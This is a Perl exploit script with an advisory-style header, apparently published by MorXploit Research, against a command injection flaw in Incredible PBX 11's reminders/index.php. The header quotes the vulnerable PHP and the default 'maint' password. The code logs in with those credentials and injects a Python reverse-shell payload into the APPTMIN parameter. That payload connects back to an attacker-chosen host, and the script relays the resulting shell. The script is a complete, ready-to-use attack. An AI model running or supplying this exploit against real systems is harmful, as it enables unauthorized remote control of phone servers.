#!/usr/bin/perl
#
# Title: Incredible PBX remote command execution exploit
# Author: Simo Ben youssef
# Contact: Simo_at_Morxploit_com
# Discovered: 1 September 2014
# Coded: 21 October 2014
# Published: 21 October 2014
# MorXploit Research
# http://www.MorXploit.com
# Vendor: PBX in a Flash
# Vendor url: http://pbxinaflash.net/
# Software: Incredible PBX 11
# Version: 2.0.6.5.0
# Product url: http://incrediblepbx.com/
# Vulnerable file: reminders/index.php
#
# About (from their website):
# Incredible PBX is a secure and feature-rich implementation of the terrific Asterisk® PBX. By rethinking the PBX security model from the
# ground up, Incredible PBX was engineered to provide rock-solid security while delivering the most comprehensive collection of Asterisk
# utilities available on the planet including free calling in the U.S. and Canada courtesy of Google Voice.
#
# Description:
# reminders/index.php which ships with Incredible PBX suffers from a command execution vulnerability, allowing an authenticated user to
# inject commands as the asterisk user.
#
# Vulnerable code:  
# 484: system $retcode3 = system("sox $tmpwave -r 8000 -c 1 $newgsm"); 
# 472: $tmpwave = "/tmp/$token.wav"; 
# 469: $token = md5(uniqid("")); 
# 483: $newgsm = "/var/lib/asterisk/sounds/custom/" . $APPTTIME . "." . $APPTDT . "." . $APPTPHONE . ".gsm"; 
# 381: $APPTTIME = str_replace(array(chr(13), chr(10), "<", ">"), "", $APPTTIME); 
# 375: $APPTTIME = $_REQUEST['APPTHR'] . $_REQUEST['APPTMIN']; 
# 380: $APPTDT = str_replace(array(chr(13), chr(10), "<", ">"), "", $APPTDT); 
# 374: $APPTDT = $_REQUEST['APPTYR'] . $_REQUEST['APPTMO'] . $_REQUEST['APPTDA']; 
# 382: $APPTPHONE = str_replace(array(chr(13), chr(10), "<", ">", " ", "(", ")", "-", "."), "", $APPTPHONE); 
# 376: $APPTPHONE = $_REQUEST['APPTPHONE']; 
#
# As you can see, none of user input sent through $_REQUEST[] parameters is being validated/sanitized before being passed it to system();
#
# Exploit:
# As PoC, the below perl code will try to exploit $_REQUEST['APPTMIN'] to inject a python connect back shell.
#
# Note:
# Access to reminders/index.php requires 'maint' password, in the exploit code we have used the default installation password which is
# 'password'.
#
# Demo:
# ====================================================
# --- Incredible PBX remote command execution exploit
# --- By: Simo Ben youssef <simo_at_morxploit_com>
# --- MorXploit Research www.MorXploit.com
# ====================================================
# [*] MorXploiting http://10.0.0.20/reminders/index.php
# [+] Sent payload! Waiting for connect back shell ...
# sh: no job control in this shell
# sh-4.1$ id; cat /etc/issue
# id; cat /etc/issue
# uid=498(asterisk) gid=497(asterisk) groups=497(asterisk)
# CentOS release 6.5 (Custom) on \m
# Welcome to PBX in a Flash - Green
# Please log in to continue
# ******************************************
# Your IP Address is:
#
# 10.0.0.20
# ******************************************
# 
# Download:
# http://www.morxploit.com/morxploits/morxincpbx.pl
#
# Requires LWP::UserAgent
# apt-get install libwww-perl
# yum install libwww-perl
# perl -MCPAN -e 'install Bundle::LWP'
# For SSL support:
# apt-get install liblwp-protocol-https-perl
# yum install perl-Crypt-SSLeay
#
# Author disclaimer:
# The information contained in this entire document is for educational, demonstration and testing purposes only.
# Author cannot be held responsible for any malicious use or damage. Use at your own risk.

use LWP::UserAgent;
use MIME::Base64;
use IO::Socket;
use strict;

sub banner {
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
print "====================================================\n";
print "--- Incredible PBX remote command execution exploit\n";
print "--- By: Simo Ben youssef <simo_at_morxploit_com>\n";
print "--- MorXploit Research www.MorXploit.com\n";
print "====================================================\n";
}

if (!defined ($ARGV[0] && $ARGV[1] && $ARGV[2])) {
banner();
print "perl $0 <target> <connectbackIP> <connectbackport>\n";
print "perl $0 http://10.0.0.16 10.0.0.2 31337\n";
exit;
}

my $host = $ARGV[0];
my $vuln = "reminders/index.php";
my $cbhost = $ARGV[1];
my $cbport = $ARGV[2];
my $defuser = "maint"; # Default maint user
my $defpass = "password"; # Default maint pass
my $string = "$defuser:$defpass";
my $host2 = "http://localhost:81";
my $encoded = encode_base64($string);
$| = 1;
$SIG{CHLD} = 'IGNORE';

my $l_sock = IO::Socket::INET->new(
Proto => "tcp",
LocalPort => "$cbport",
Listen => 1,
LocalAddr => "0.0.0.0",
Reuse => 1,
) or die "[-] Could not listen on $cbport: $!\n";

sub randomagent {
my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31'
);
my $random = $array[rand @array];
return($random);
}
my $useragent = randomagent();

my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
$ua->timeout(10);
$ua->agent($useragent);
my $status = $ua->get("$host/$vuln", Authorization => "Basic $encoded");
unless ($status->is_success) {
banner();
print "[-] Error: " . $status->status_line . "\n";
exit;
}

banner();
print "[*] MorXploiting $host/$vuln\n";

my $payload = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$cbhost\",$cbport));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'";
my $get = "APPTDA=morx&APPTPHONE=morx&APPTMO=morx&APPTMIN=;$payload;&APPTHR=morx"; 
my $exploit = $ua->get("$host/$vuln?$get", Authorization => "Basic $encoded");
print "[+] Sent payload! Waiting for connect back root shell ...\n";

my $a_sock = $l_sock->accept();
$l_sock->shutdown(SHUT_RDWR);
copy_data_bidi($a_sock);

sub copy_data_bidi {
my ($socket) = @_;
my $child_pid = fork();
if (! $child_pid) {
close(STDIN);
copy_data_mono($socket, *STDOUT);
$socket->shutdown(SHUT_RD);
exit();
} else {
close(STDOUT);
copy_data_mono(*STDIN, $socket);
$socket->shutdown(SHUT_WR);
kill("TERM", $child_pid);
}
}
sub copy_data_mono {
my ($src, $dst) = @_;
my $buf;
while (my $read_len = sysread($src, $buf, 4096)) {
my $write_len = $read_len;
while ($write_len) {
my $written_len = syswrite($dst, $buf);
return unless $written_len;
$write_len -= $written_len;
}
}
}